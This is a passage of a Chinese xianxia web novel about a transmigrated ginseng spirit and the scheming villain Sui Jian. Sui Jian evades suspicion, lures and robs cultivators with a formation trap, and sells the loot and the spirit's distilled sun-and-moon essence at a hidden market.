他别了别腰间佩剑,大有隋简不答应就拔剑出鞘的意味。 隋简不动声色的观察着两人的神态一眼,眼底暗光闪过。 看来他的伪装还是不够完美,似乎让浮光起了疑心。 他敛了敛眉眼,轻声哼笑道:“那在下便却之不恭了。” 6、第六章 碧空如洗万里无云,今日又是个大晴天。 木屋院内的榕树树荫下,云深趴在陶土盆的盆壁上,一双小小的豆豆眼滴溜溜的乱转。 他偷偷看了一眼脸色苍白好像就吊着一口气但就是死不了的浮光,又转而看向瘫着一张迷倒万千少女的俊脸却目不转睛盯着浮光的赵随云,最后眼角余光扫向老神在在淡定如清风的隋简。 任他抓破了脑袋也没想明白,明明表面上看起来极为友好平和的三人,怎么总给他一种风雨欲来硝烟弥漫的错觉。 “道友与我一位故人有三分相似,贸然将道友留下,实在是情难自禁有些睹物思人了,还望道友莫怪。” 无声的沉默被打破,是探究了许久没能得到想要的信息的浮光。 隋简闻言挑了挑眉,手中的茶盏搁到石桌上,漫不经心的道:“如此看来,确实是巧了。” “不知在下有没有那个荣幸认识一下道友这位故人?” 他好像被挑起了好奇心,兴致勃勃的。 浮光似笑非笑:“是我大师兄隋简,不过他已经死了。” 原本被太阳晒得昏昏欲睡的云深瞬间激灵得抖了抖叶子,两根参须下意识紧张得抓了抓盆沿,还以为隋简的伪装被人看穿了。 连从头到尾都没给过隋简一个眼神的赵随云也侧目投来了探究的视线,但最终无果,又将目光继续放回浮光身上。 倒是隋简本人最为正常,他猛的抬眸,好像被惊吓到了。沉默了半晌后重新端起茶盏浅啜一口茶水,轻声感慨道:“那倒是可惜了。” 他的反应太过合理,浮光再次铩羽而归。 关于已经身死道消的大魔头隋简的话题没再继续下去,两人言不由心的虚与委蛇了片刻,隋简抬眸看了眼天色,起身举杯朝浮光二人敬了杯茶:“今日叨扰已久,如今天色已晚,在下稍后还得与友人会面,便先行告退了。” 浮光道:“道友太客气了,是我们二人占了道友时间才是。” 他示意赵随云搀扶着他起身,也端起茶盏,似是想起了什么来,他略微羞愧的问道:“是我疏忽了,还未曾知晓道友名讳,若是下次相见却叫不出名讳,实在是失礼。” 隋简毫不犹豫道:“姓云,单一个深字。” 得亏奔逃了一夜担惊受怕的人参精已经在几人谈话时睡着了,否则非指指点点的说这大反派怎么能抢人姓名呢? 三人互相敬了茶,隋简便端起手边的陶土盆,带着已经埋进土里打着小呼噜的人参精走了。 浮光目送着青年的身影隐入山林,他的眼神很奇怪,有失望也有憎恨,又藏着一丝难以察觉的怀念。 “你怀疑大师兄没死?” 此时已然日暮西山,徐徐凉风渐起,火红的赤火狐披风批到浮光肩上将他整个人拢起。他侧过头,顺势蹭了蹭赵随云的手背,“毕竟这几日我们都没能找到大师兄的尸身。” 赵随云不解:“就算大师兄真的没死,可他与大师兄并无任何相似之处,你为何会怀疑他?” 浮光是丹修,尤其是到了他这种半步飞升的顶级丹修,其细致入微的细心程度堪称恐怖,一丝一毫的变化都不能逃过他的眼睛。可饶是如此,也没能察觉到青年半分的破绽出来,否则他断不会这么轻易就放人离开。 浮光目光又落在渐渐隐入夜色之中的密林,缓缓道:“直觉。” 对于修士而言,直觉和第六感反而更能让他们信任。 “而且……”他像是想起什么,忽然轻笑了声:“那只人参精的反应很有趣不是吗?” 所以,你究竟会是谁呢? . 云深一觉睡醒神清气爽,他扒拉了几下睡得卷了边的叶片,抬眸时才发现在自己睡着的期间,大反派剧情已经带着他回到了客栈。 回想这两日的遭遇,看着这个只待了没多久的房间,云深竟然生出了几分安全感来。 修仙世界对人参精一点都不友好,还是有大反派的地方才安全。 他偷偷看了眼在蒲团上打坐入定的隋简,觉得自己该先下手为强做点什么来讨好一下大反派,免得大反派等会儿回过神来对他逃跑的事情秋后算账。 不过如何讨好大反派却让他犯了难,苦思冥想了许久都没能想到个好主意来。这时,他眼角余光看到了桌案上的酒壶,豆豆眼转了圈,突然就灵光乍现了。 陶土盆还是被放在了窗台边,不过已经爬过一次窗的云深这回已经能够很熟练的下去了。 在爬上桌案之前,他想起了隋简的洁癖,于是拖着椅子转身吭叽吭叽的跑到了房门边,靠着椅子辅助踮直了参须才勉强够拉到了门框上铜铃的拉环。 云深见过隋简拉过这个拉环,然后小二就来了,他想这东西应该跟呼叫器一个作用。 “客官,请问您需要什么?” 小二很快就到了门口,云深没有开门,而是从门缝里塞了张纸条出去。 小二捡起纸条,看着那些缺胳膊断腿歪歪扭扭的字,实在是为难。顾客就是皇帝,他又不能直接说顾客的字写得难看,只能委婉的说:“客官,小的不识字,不然您还是直接吩咐吧。” 费劲吧啦写了纸条的云深:“……” “打盆温水进来。” 他压着嗓子,尽量模仿隋简说话的语气,小二听着觉得有些奇怪,心里嘀咕这好像不是之前那位客人的嗓音,但他没敢探究,压下好奇心迅速下楼打水去了。 云深从头到脚给自己洗了一遍以后已经过去了差不多半个时辰,隋简还在打坐,短时间内应该是不会醒来。 云深趁机开始自己的讨好计划,他爬上桌案,原本想直接泡进酒壶里,结果发现壶口太小根本塞不进他整个身体,他只好悻悻的回了地面,又把小二叫了上来让他取了一坛酒上来。 小二已经提前拔开了坛塞,倒是让他省了不少事。 他爬进了酒坛里,趴在坛口壁沿上,小脑瓜子里算着要泡多久这酒才有药效,想着想着竟觉得越来越头重脚轻,像是喝醉了一样。 云深觉得不对劲,他想从酒坛里爬出来,但酒坛内壁湿滑,他两根类手的参须又提不起力气,脚下一滑,便整根参都滑进了酒里。 本来就头晕目眩的,又被呛了几口酒后,云深这回真的醉了。 隋简从入定之中醒来,一睁眼就看见窗台上的陶土盆又空了。 那丑东西竟还敢逃,看来是没吃到教训。 隋简瞬间冷了脸,心底的戻气还没来得及翻涌,结果一转头却看见了一抹摇曳招展的绿。 他起身走了过去,居高临下的俯视着整根参都泡进了酒里,但枝叶却抖动得异常欢快的人参精。 也不知道人参精泡了多久,这种泡法真不会淹死了吗? 见惯了大风大浪的隋简看着眼前这场面,一时竟不知用什么言语来表达情绪。 “你这是干什么?” 他掐着人参精的叶杆,将它从酒坛里拔了出来。 脑子被酒精麻木了的人参精思考了许久,嘿嘿笑了声:“泡人参酒给你喝啊,大补的,对你身体好。” 隋简:“……” 捏着叶杆的指尖不自觉的抖了抖,隋简看着已经醉晕了头的人参精不发一言,半晌,他提着人参精将它放回了陶土盆里。 人参精一沾了土就下意识往土里钻,还不忘了将盖在身边松散的土压实了。 而那坛被人参精泡过的酒,酒坛被重新上了封口妥善的搁置在了墙角,至于里头的酒却已经不翼而飞了。 翌日清晨,云深从睡梦之中醒来,头疼得像是被大卡车碾过一样。 他忍不住捧着快裂开的头,龇牙咧嘴的哼哼。 “总算醒了?还记得昨天干了什么没?” 大反派不知何时站到他面前,神色晦暗不明。 云深懵了好久,猛然想起他昨晚的泡药酒大计。 他抬头四处张望,没看见酒坛,顿时整根参都不好了。 他的酒呢?!他那么大一坛酒怎么不见了?他还没来得及讨好大反派呢! 仿佛知道他在想什么,隋简哼笑了声,道:“那酒让某个烂醉如泥的丑东西喝光了。” “我……我喝光了?” 那他岂不是还要再泡一回? 云深如遭雷劈,丝毫没有怀疑隋简是在逗他玩,毕竟身上的异常反应无一不在告诉他,他昨夜宿醉了,烂醉如泥那种。 人参精像霜打的茄子般焉了,连翠绿的叶片都失去了光泽。 隋简看他那反应只觉得有趣,坏心眼的没告诉他那酒其实是被自己收了起来。 他如今倒是很好奇,这丑东西为了讨好他,还能使出什么花招来。 他佯装生气慢慢压下嘴角,眼神冰冷的对人参精说:“那么现在我们是不是该好好谈一谈,关于你趁我昏迷擅自逃走的事情?” 什么逃走?还有这种事? 人参精的豆豆眼心虚得四处乱瞟,默默地用参须挖了两捧土,干脆将脸整个埋了起来。 他只是个弱小又可怜的人参罢了,听不懂人话呢。 7、第七章 装傻的云深最后被大反派惨无人道的再次泡进了酒坛里,不过这一次他长了记性,刻意的克制着自己参须想要汲取水分和养分的本能。 隋简这回没有打坐了,而是舒舒服服的躺贵妃椅上闭目歇息。 云深敢怒不敢言,只敢悄悄的在心里扎他小人。 “在骂我什么?” 低沉微哑的男性嗓音传入耳膜,心里骂得正爽的人参精被吓得抖了抖,头顶几片爪状的叶片因为心虚而微微卷边收拢。 云深小心翼翼的转身:“没有哇,我怎么敢嘛。” 人参精的嗓音带着几分讨好,隋简抿唇轻笑不置可否,他到底没再继续追究下去,而是掀了掀眼皮看了眼窗外天色。 玄月高挂,正是月上中天的午夜时分。 “回花盆里待着,我们该走了。” 他说着已经起身穿上鞋靴套上外袍,也没给云深解释为什么要三更半夜赶路,云深也没那个贼胆敢问,闻言乖乖巧巧的点头哦了一声,然后老老实实从酒坛里爬出来又爬上窗棂,用土将自己埋严实了,只露出一双好奇又迷茫的豆豆眼眨巴眨巴的往外瞧。 “呵。” 隋简瞧着它那样就忍不住发笑,只觉得有趣得紧,有些手痒想逗弄逗弄,只是眼下正事要紧,只得暂且压下兴致,往后再说。 . “我们大晚上的不睡觉,为什么要窝在这里啊?” 云深看着不远处画好看不懂的符文以后又到处扔石头的隋简发出灵魂质问,这山脚边边上鬼影都没一个,连虫鸣鸟叫都没传来一声,高高悬挂在天幕的玄月不知何时被乌云遮蔽,整个山谷寂静得阴森又恐怖。 人参精胆子小,不免回想起上辈子看过的那些恐怖片画面,自己把自己给吓破了胆,头顶叶片压低,哆哆嗦嗦的遮着眼睛。 “瞧你那点出息。” 隋简好气又好笑,他手里攥着最后一颗灵石,回头俯身,揪着人参精的叶片扯了扯,吓得人参精哇哇叫,连连求他力气轻些别给揪掉了。 那可是云深好不容易才养出来的,就那么几片,少了哪一片叶子都能让他心疼死。 两人笑闹期间,远方一道流光划破夜色,隐约传来破空声,显然是有人来了。 隋简敛去眼底笑意,嘴角下压,微微眯眼轻笑:“可算来了。” 手中的上品灵石弹出,重重镶嵌到阵法正中央的阵眼上,那些晦涩难懂的符文像是活了起来,爆发出亮眼的金光后如水流涌动,瞬息之间隐入地面。 “好了丑东西,体现你价值的时候到了,帮我一个小忙吧。” 月光倾泻,隋简站在树影下,斑驳的阴影落在他身上,面上神情和善可亲,可笑意不达眼底,语气里是不容置疑的强硬。 云深下意识打了个哆嗦,这时才想起来作为全文最大的反派,隋简可从来不是平日里装出来的那般好相处。 华丽精美的表象之下,是披着人皮的恶鬼。 他咽了咽唾沫,颤颤巍巍的问:“我能……做什么?” 他一个弱了吧唧的人参精,除了能泡泡参茶还能帮大反派干什么? 隋简勾了勾唇:“像平日那般修炼即可。” 云深:“?” 这个时候这个地点,修炼? 云深想不通隋简到底想做什么,但他足够听话,大反派让他修炼那他就拼命修炼就好了,反正大反派都没给他拒绝的余地。 云深认命的爬出陶土盆,朝隋简圈出的一小块地方哒哒哒的跑去,然后刨个坑跳进去扎了根。 日月精华对妖物来说都是大补之物,修炼时更是事半功倍的加成之物。 云深沐浴在银白的月华之中,很快抛弃掉心中的杂念进入冥想的状态。随着天地间的灵气被他吸纳入体内,月华在他头顶凝聚,形成一束浓郁如水的光束,而光束之中,又有凝聚成肉眼可见的光团的木系元素。 月华与光团亲昵的围绕裹挟着毫无所觉的人参精,温和轻柔的缓缓渗入他的体内。过多的来不及吸收的月华在叶片上凝成乳白的露珠,自爪状叶片尖尖坠落,落入泥土里滋润根系。 隋简看着月光之中越发莹润通透的人参精,眼底神色晦暗。 从第一世开始,隋简轮回了数十次,从未见过有哪个妖修修行时这般受天地宠爱。 是的,宠爱。 那修行时呈现出来的状态,分明是将它捧着宠着呵护着,舍不得让它有半点的难受。 他隐约有种直觉,这人参精恐怕没有表面看起来那么简单。 随着云深修行的速度加快,扑鼻馨香的药香飘散在空气之中,层层灵力波动如涟漪荡开,带着药香越传越远。 十里之外,十几名穿着相同腚青色道袍,脚踩飞行灵宝的修士齐齐停下。 “好香的味道,这是什么?” 队伍其中一人发问,最前方的老道耸动鼻尖细细闻嗅,他沉吟半晌,最终确认道:“是人参的香味,这浓郁程度,起码是支修行了千年已经成了精的人参。” 普通人参易得,可千年年份成了精的人参却是极为珍贵的药材,几乎有价无市。 那老道当机立断:“走,去把那人参精挖回来。” 只要得到那千年人参精,无论是炼药还是拿去拍卖,对他们玉灵宗而言都是极为有利的事情。 在场的人也知道其中的利益关系,无人反驳老道的决定,当即调转方向朝着香味传来的方向飞去。 阵眼中心,隋简似有所觉,身形如鬼魅般隐入黑暗之中。 几息之后,一道道身影接连从半空中落下,当这群修士站定看清眼前的景象时分分震惊得瞪圆了双眼,随后便是忍俊不禁的狂喜。 这成了精的前年人参竟还能引动月华异象! 月华不单单对妖修有益,更是炼丹炼器的珍贵材料,若是能得此灵植,相当于同时得到了取之不尽用之不竭的月华。 何愁玉灵宗不能发扬光大? 十几名修士无一例外的,都浮现出了对眼前的人参精势在必得的贪婪。 “这灵植在修炼,它身旁也没有守护灵兽,正是最好下手的时机。” 队伍中唯一的丹修从乾坤袋中取出一把玉制的小挖铲,跃跃欲试。 老道出言提醒:“还是小心为妙。” 这山谷十分普通,唯一的特殊大概便是离开葫芦山的必经之路。人参精的出现实在是巧妙,按理来说这种成了精的灵植极为惜命,非人迹罕至之处不能寻,断断不可能大咧咧的在这种轻易就会被发现的地方修炼才是。 丹修经此提醒也觉得恐怕有诈,可月华和人参精的价值实在是珍贵,错过了这一次,以后想再寻得恐怕难如登天。 所谓富贵险中求,况且他们人多势众,具是元婴大乘期的高手,老道的修为更是到了大乘期圆满半步合体,便是有诈也能应付得来。 这些修士合计一番,觉得还是利大于弊,最终商议先由五名大乘期高手探路,确认没有危险后,老道与丹修共同挖取灵植。 暗处,隋简戏谑的打量着这些修士,轻蔑的笑了笑:“果然,人性本贪。” 明知山有虎偏向虎山行,如此倒也只能怪他们倒霉了。 随着队伍中最后两人踏入阵法范围内,一道灵力打入阵眼中心的灵石之内,阵法瞬间激活,那些状似随手丢弃的石块此时变成了一道道拦路的屏障,将闯入阵法的人困死在了里面。 隋简虚握的拳头抵着嘴唇咳出一口血,激活阵法耗费他不少灵力,原本调养好了些许的身体因此受到了牵连。 结束一次修炼的云深正好醒来,他舒坦的伸展枝叶,而后看到那些修士无头苍蝇一般原地乱转,忍不住连连惊叹:“这就是阵法吗?好厉害!” 隋简用手帕擦掉嘴角的血迹,用完后便驱动灵力燃起灵火将手帕烧毁,而后才回过身神色淡然的说:“好好在这里呆着别乱跑,小心迷路出不来。” 云深也身处阵法之中,若是没他看着,很容易像那些修士一样迷失方向。 云深不明觉厉,愣愣的哦了声,然后就见隋简不知从哪掏出来一把铁锹。 就是那种普通的农具铁锹。 “你这玩意儿哪来的?” 这玩意跟隋简的气质实在是不符合,云深好奇不已的伸长了参须,贱兮兮的戳了戳铁锹的木柄。 隋简垂眸看了他一眼:“随手顺来的。” 云深:“……” 那岂不是偷来的? 云深心里嘀咕,不敢把想法说出来,他忍不住又问:“那拿它用来干什么?” 豆豆眼往被困在阵法里找不到出路的修士那边撇去,心想总不能是拿来埋人的吧? 隋简没做任何解释,只是拎起铁锹掂了掂手,语气淡淡的说了句:“等会你就知道了。” 铁锹不是拿来埋人的,但…… 云深眼睁睁看着大反派借着阵法,一铁锹一个脑瓜的偷袭,将人拍晕以后动作利落的扒乾坤袋抢灵器,随手把抢来的东西丢进储物戒以后转身又去敲下一颗脑袋。 那行云流水一气呵成的动作,分明就是做了不知多少次的惯犯。 云深麻木的瞪圆了豆豆眼,只觉得整个世界都变得魔幻了起来。 没想到啊,你竟然是这样的大反派! 8、第八章 接下来的两天时间,隋简利用云深如法炮制的薅了好几波人,直到储物戒再也装不下多余的东西以后他才收了手。 隋简捧着陶土盆带着云深,慢悠悠的离开了山谷。 至于那些被他抢劫了的修士,无一例外,全都被他下了禁制埋在土里,好歹留了个脑袋在外头,等三日过后禁制失效,这些人才能脱困离开。 老道作为这群受害者里修为最高的人,他是唯一醒来的人,他看着闲庭信步走远的身影,气得脸红脖子粗咬牙切齿的说:“鼠辈!可别让我知道了你是谁!否则今日耻辱不百倍奉还,老道誓不为人!” 老道的怒吼声音可不小,隋简和云深自然都听到。 云深悄悄咪咪的偷看了一眼大反派的眼色,见后者丝毫不受影响才悄悄松了口气。 看来大反派的情绪还挺稳定的,被骂了都不生气。 这想法刚过脑海,一声凄厉的嘶吼惨叫声响起,惊得林中飞鸟扑着翅膀四处逃离。 “你把他杀了?” 云深不敢回头看,生怕看见什么血腥恐怖的场面,给自己幼小的心灵留下心理阴影。 隋简屈指敲了敲他眉心处:“杀他脏了我的手,只是割了他舌头给他个教训。” 他说罢坏心眼的挑眉笑了笑,意味深长的说:“你最好别在背后骂我,若是让我知道了,仔细你的舌头。” 云深瞬间被他凶残的话语吓得捂紧了嘴巴,连连摇头表示自己绝对没有这种想法。 他更加加深了对大反派情绪稳定的看法,只不过是疯得很稳定! 此后两人一路风餐露宿的赶路,隋简重伤不愈,轻易不会动用体内的灵力,此时他抢来的那些飞行灵器就发挥了极大的作用。 此时一人一参正坐在飞船的船甲上,云深被隋简逼着修炼,在他的叶片下方挂着几个用来收集日月精华浓缩液的玉瓶。 而像奴隶主一样剥削他的大反派此时正在一一清点储物戒中的战利品。 被打劫的修士修为均在大乘期以下,隋简虽然受了伤境界受损,但破开区区大乘期留在灵宝和储物袋上的禁制却不算难事。 他专挑的肥羊下手,又几乎是雁过拔毛的搜刮,只给那些修士留了身蔽体的衣物,其余有价值的全让他给薅走了。除去灵石,法宝灵器就有数十件,再加上各种丹药灵植,全部破开禁制花了将近三天时间。 若是换做以前,隋简自然看不上这些东西,只是如今经神魂受损,除了留在储物戒中的灵石以外,其余的天材地宝尽数让他放在了神魂认主的戒子空间之内。 而快速积累财富的门道,唯有杀人夺宝一途。 倒不是隋简心慈手软不杀人灭口留那些修士一命,而是身上伤势实在过重,若是那些修士在生死关头自爆元婴,恐怕他这条辛辛苦苦吊着半口气的破败身体会更加雪上加霜,实属不必。 被抹去神魂印记的灵器成了无主之物,被隋简用抢来的储物袋收着。而那些灵植丹药则全让他换了承载的容器,一一归类收起。 处理完了战利品,隋简便没了事情做,他撇了一眼还在入定修炼的人参精,百无聊赖的抬手伸出食指,有一下没一下的戳着爪状的叶片,直把人参精的叶子戳得东倒西歪的,连叶片上的月华露珠都飞溅了好几滴出去,只不过最后都让无形无影的灵力气泡给包裹住,送入了玉瓶之中。 隋简戳了好一会儿,修炼中的人参精没有任何反应便又觉得无趣,讪讪的收回了手指,索性也盘膝坐到了云深旁边,拿出一小瓶装着云深辛苦泡出来的人参酒,一口喝尽后开始借着人参的药力疗伤。 一人一参各自修炼疗伤,一转眼就是日升月沉了七八个轮回。 云深从修炼的冥想状态之中醒过来,只觉得通体舒畅,精神奕奕得能一溜烟跑个十里地不带喘气。他冥冥之中感觉到自己的境界提升了,忍不住欣喜的低头打量自身,结果却发现毫无变化,唯一变了的大概就是坑坑洼洼的表面好像平坦了不少,至少没像之前那样崎岖不平了。 有变化就是好事,虽然变化不大但容易满足的云深还是喜不自胜的傻乐了好久,直到看见旁边疗伤的隋简睁开双眼呼出一口浊气时他才收起傻兮兮的笑容,小心翼翼的躲在陶土盆的盆壁后头,只露出一双豆豆眼偷瞧。 “躲什么?我很吓人?” 他那做贼一样小心翼翼的举动让隋简极为不悦,好像自己是会吃人参的妖兽,人参精恨不得退避三舍。 “没……没躲呢。” 大反派心情极度不妙,人参精枝叶摇成了拨浪鼓,讨好般用参须卷着装满了日月精华灵液的玉瓶,一个一个的送到他面前,讨好的笑了笑:“看,装满了,我就说我很有用的,养我绝对不亏。” 他强调着养自己的好处,丝毫没提起自己是怎么心不甘情不愿的被隋简逼着修炼收集日月精华的事情。 虽然他也不知道大反派为什么要收集这些露水,但大反派需要的东西,那必然是有用处的。 隋简漫不经心掀了掀眼皮没说什么,但却将玉瓶一一收了起来。 辛辛苦苦收集好几天日月精华却连个表扬都没得到的人参精:“…………” 哼!周扒皮!真讨厌! 隋简动作一顿:“又在偷偷骂我?” 云深一个激灵:“怎么可能呢?绝对没有!” “你最好是。” 隋简皮笑肉不笑的扯了扯嘴角,将最后一瓶日月精华收起,随后俯身将人参精连盆端起,转身走到了船甲的最前端。 飞船前方十几里外,巍峨气派,延绵了数十里的城池映入眼帘。 云深一瞬不瞬的盯着,放在壁沿上的两根参须下意识的搓了搓:“我们这是到目的地了吗?” 隋简嗯了一声:“到了。” 云深一瞬间支棱了起来,探出一根参须蛄蛹隋简的手背,兴致勃勃的催促道:“那我们快点过去呀。” 隋简撇了一眼手背上落下的泥灰,又看向不知死活胆敢命令自己的人参精,最终只是抿了抿唇没说什么。 在接近城池还有数百米时,隋简收起飞船,带着云深走进了城池。 与之前进入葫芦山小镇时一样,交了入城费以后一人一参才被允许入城。 一座城池的人流量自然不是小镇可以比拟的,刚一入城门,满眼都是挤挤攘攘的人,处处是车水马龙热闹非凡的景象。 除了葫芦山山脚下那个小镇,云深来到这个世界以后,还是第一次见到真正意义上的城池。 这城池名叫极欢城,位于人界与妖界的结界处,出了名的混乱无序。 自然,这些云深都是不知道的。他四处张望打量着,对周围的一切都充满了好奇,殊不知他看着别人时,明里暗里也有不少人注意到了他。 毕竟除了妖修以外,成精生了灵智的灵植在修仙界是极为罕见的。 “乱看什么?老实些。” 云深被隋简警告般弹了个脑瓜崩,委委屈屈的撇嘴,顿时不敢再四处张望。 他心中腹诽着大反派霸道专横时,并不知隋简正暗中压着体内暗伤,强行释放渡劫后期的威压,将那些窥视的目光一一震慑回去。 在这个实力为尊的城池,只有绝对的武力值,才能避免很多不必要的麻烦。 云深原以为隋简这次也会先四处逛逛再去打尖住店,可当隋简脚步不停的连过好几家客栈丝毫没有停下的意思后,他忍不住探头问:“我们不先找个落脚的地方吗?” 天都快黑了,这里人又这么多,万一客栈都没房了,那他们晚上睡哪? 隋简没有回应他,径直向街道的尽头,闪身走尽曲折蜿蜒的胡同小巷。 越走越偏僻清净,路上行人就偶尔迎面走来两三个。 云深看着两旁的屋舍,心想难道这城里大反派还有房子? 他的疑惑很快就得到了解答,隋简站在一座老旧的四合院门前,屈指敲击门板,响声规律有节奏,分明是一种暗号。 木门从里头打开了一条门缝,一个络腮胡大汉探出头来,凶神恶煞的问:“做什么的?” 隋简道:“来做买卖的。” “做什么买卖?” 隋简意味深长的笑了笑,并未作答,但却解下一个储物袋,打开让大汉看了一眼便马上收了起来。 云深原以为他们大概是要吃闭门羹了,却没想到看过了货的大汉反而放松了警惕,院门大开,侧身让出了通道,对隋简做了个请的姿势:“过拱门后左转。” “既然是熟客,想必是懂得清园的规矩的,不用我明说了罢。” 隋简颔首:“自然。” 四合院外头看着普通,进了里面却别有洞天。 从拱门走进去,一条曲折的回廊贯穿整个前院,廊道两边是供人歇息的亭台楼阁,假山嶙峋流水潺潺,清澈的水面下花纹艳丽叫不出品种的鱼儿成群嬉戏游玩,迎面扑来的凉风驱走了几分早夏的暑气。 院内景色极好,显然布置的人花了不少巧妙心思,只可惜大反派从头到尾都没多看一眼,兀自穿过回廊一路入了内院。 跨入内院的拱门后,眼前视线豁然开朗,里面竟是一处以往见不到尾的市集。街道两旁商户门庭若市,摊贩叫卖声络绎不绝,比外头更为热闹非凡。 云深对这个世界不了解,但以他纵横小说界多年的经验来看,这个应该是个被开辟出来的独立小世界。 四合院背后的主人,绝对不简单。 隋简披上了之前那件黑色披风,戴上兜帽遮住脸,而来来往往的行人无一例外都与他做着一样的装扮,当他踏入市集的青石板路汇入人群,便犹如水滴入海,顷刻间再难寻得。 能入清园的人都绝非泛泛之辈,隋简原是打算先去客栈开间房,将云深留在客栈里,可转念一想,不把人参精放到眼皮子底下到底是不放心。 云深有过逃跑的前科,他并不信任云深会老老实实的待着等自己回来。除此以外,也怕有人趁自己不在将其抓走,到时候再将它寻回来又是一桩麻烦事。 最终他还是将云深一起带着进了清园的交易行。 交易行的管事是个留着八字胡的中年男人,隋简直接将装着灵器丹药的储物袋丢给他。 管事往里看了一眼,也没问这么多的灵器法宝的来历,拿着算盘就开始拨算珠。 “上品灵宝三件,中品三十六件,极品丹药七枚,上品七十八枚,中品以下十六瓶,按照市价共计十万七千上品灵石,你核对一下吧,若是无误交易便结束了。” 隋简颔首表示没问题,两人之间的交流没有任何废话,一手交钱一手交货,这场交易就算结束了。 云深被罩在披风里,看不见外头的景象,但通过外间的交谈声,确实能猜出个大概。 大反派将那些抢来的灵宝丹药全都卖了。 云深心有戚戚的为那些被抢劫的修士默哀了一秒,然后下一秒就听隋简又开口与那管事说:“三日之后的拍卖会,我要寄拍一样东西。” 清园拍卖会十年一次,拿出来的每一件竞品都绝非寻常之物,与之同等的,寄拍的物品要求也不低,寻常之物是上不了拍卖会的台面的。 “哦?不知贵客要拍卖的是何物?” 管事来了兴致,他看隋简出售的多为灵器法宝,想必要寄卖的东西也大差不差,可当他看到隋简拿出一只一指粗细的透明琉璃瓶时直接震惊得瞪圆了双眼。 他眨了眨眼,不敢置信:“这是……” “日精月华各十滴,只接受以物换物,并且拍卖会的手续费需要对方承担。” 日月精华乃天地灵物,无形无影,妖修修炼时能吸收到一缕都是机缘,将其炼化那简直就是天方夜谭,更别说还是这种极为精纯浓郁的液体状态。 一出手就能拿出二十滴日精与月华,虽然看起来不多,但放到拍卖会上定然能掀起轩然大波。 管事仿佛已经看到三日后的盛景,看隋简的眼神像在看金疙瘩。 “承蒙大人瞧得上清园,这日精月华清园必定拍出能让大人满意的结果来。” 管事对隋简的称呼都变了,生怕隋简后悔,连忙一个眼神暗示旁边的手下:“二贵,怎么这么不机灵,还不快去把清园的贵宾函拿来给大人送上!” “哦哦好的,好的。” 被叫的手下忙不迭的跑进里屋去拿东西,管事陪笑着道:“让大人见笑了。” 对此隋简不置可否。 拿到了拍卖会的邀请函后,隋简将装着日精和月华的两枚琉璃瓶递给了管事,后者神情凝重大气也不敢喘,生怕呼吸重了手抖了将这珍贵的琉璃瓶摔碎了。 直到两个琉璃瓶装入布满禁制的玉匣,被手下妥善的存入库房后,他才长长呼出一口气来。 确保了宝物的安全后,管事回头与隋简说明道:“拍卖会在三日后的子时开始,还请大人准时赏脸入场。到时候大人只需亮出邀请函,自然会有人为大人引入贵宾房内。” 隋简颔首以示明了,而后转身离开了交易行。 “也不知这位大人是何方神圣,竟一出手就是这等稀世珍宝。” 交易行大厅内,名唤二贵的手下如此问道,管事侧目瞪他一眼,厉声呵责:“清园的第一条规矩便是不能打听议论任何贵客的信息,你最好把你那好奇心收起来,不然出了事,我可保不住你。” 二贵被训得低了头,扬手删了在嘴巴两巴掌:“您瞧我这嘴,多谢管事教诲,小的保证不会有第二次了。” 管事看他认错态度良好,训斥过后便作罢了,转而吩咐他:“去,把三日后压轴拍卖日精与月华的消息,连同那位大人的要求一起传出去。” 以物换物,提前传出消息才好让那些宗门世族提前做好准备。前头才跟那位大人打了包票会让他满意,转头却因为消息没传出去搞砸了拍卖,那他们清园的名誉可不得毁他手里?上头问责下来,他一个管事如何担待得起? 管事绝对不能让这种事情发生。 另一边,隋简离开交易行后便住进了离交易行最近的一家客栈,被闷在披风里大半日的云深终于被放了出来透气。 他一边用两根参须捧着茶杯往自己身上倒水一边问隋简:“我修炼时收集的那些露水很厉害吗?” 他一直都只当凝聚在叶片上的乳白色水珠是普通的露水,大不了就是混合灵气的露水,但从那管事的态度来看,好像完全不是那么一回事。 “那是液化后的日月精华,这种先天灵物可遇不可求,自然是厉害的。” 隋简也没瞒着他的意思,直接为他解答。 云深虽然脑子转得满了一些,但也不是真的什么都不懂,日月精华这种玩意他只在小说里见过,怎么也没想到有朝一日竟会和自己扯上关系。 那岂不是说,自己除了本身就能吊着大反派的命以外,还能靠着日月精华为大反派创造财富价值? 云深卷着参须尖尖,啪一声互相拍了下,福至心灵。 所以,这算不算大反派在吃他的软饭? 11、十一章 客栈厢房内,只到膝盖高的围炉火烧得正旺,云深站在一张小木凳上,凳子腿边挨着一颗发着绿光的心形光团。 他手持长柄木勺搅动炉内色泽金黄的汤水,一根细细的参须随着水流滚动翻涌,清香扑鼻的药香霸道的占满了整个房间。 他一边搅一边心里骂骂咧咧,痛斥大反派周扒皮资本家。 而在他的背后,隋简正好整以暇的半靠着软榻,一手撑着脸颊,缓慢的翻阅手中的书卷。 光看表面,屋内一副岁月静好的模样。 一刻钟后,云深将滚汤出锅的参茶舀进药碗里,然后小心翼翼的捧着药碗从木凳上跳了下来。 而原本安安静静的悬浮着的木灵之心随着他开始走动,也跟着一起动了起来,像小狗一样亦步亦趋的跟着。 隋简有过几次直接将滚烫的茶水直接入口的前科,云深不放心的提醒了一句:“茶还有些烫,等放凉点再喝。” 参茶被放到了软榻前方的矮桌上,隋简放下手中的书卷抬眸嗯了一声。 云深没了事做,干脆趴在矮桌上等着,等隋简喝完茶水后就能立马收走药碗。 他头顶上,木灵之心扭扭捏捏的飘上飘下,似乎想要与他的叶子贴贴,但又怕会把叶片压折了似的不敢真正落下。 “这木灵之心你不收起来吗?” 自从回来把木灵之心从储物戒里放出来以后,木灵之心就变成了这样,像跟小尾巴一样总喜欢跟着云深,对此云深也颇有些无可奈何。 隋简轻笑了声:“我看它挺喜欢你的,就让它跟着吧。” 相处了将近一个月,隋简也算是看明白了,人参精体质特殊,不单单只有日精月华对它喜爱非常,但凡是先天灵物都好似对它有种天然的亲近感。 云深颇为苦恼的戳了戳黏乎乎的木灵之心:“可是这么大摇大摆的外头飘着,真的没关系吗?” 都说财不外露,这木灵之心当时多少人抢他可是知道的,不把它好好收起来云深始终没有安全感。 不说怕被人惦记,也怕这木灵之心自己跑了。 隋简看人参精苦恼得参须都快打结了,好笑的提醒道:“既然这么不放心,那就让它到你体内待着吧,对你对它都有好处。” 云深愣住了:“待我身体里?怎么待?” 不等隋简解释,木灵之心好像听懂了隋简的话,突然激动的抖了抖,然后爆发出一股强烈的绿光,刺得云深下意识眯起双眼。 还没等他弄清楚怎么回事,就见木灵之心化作一道流光钻入了他体内。 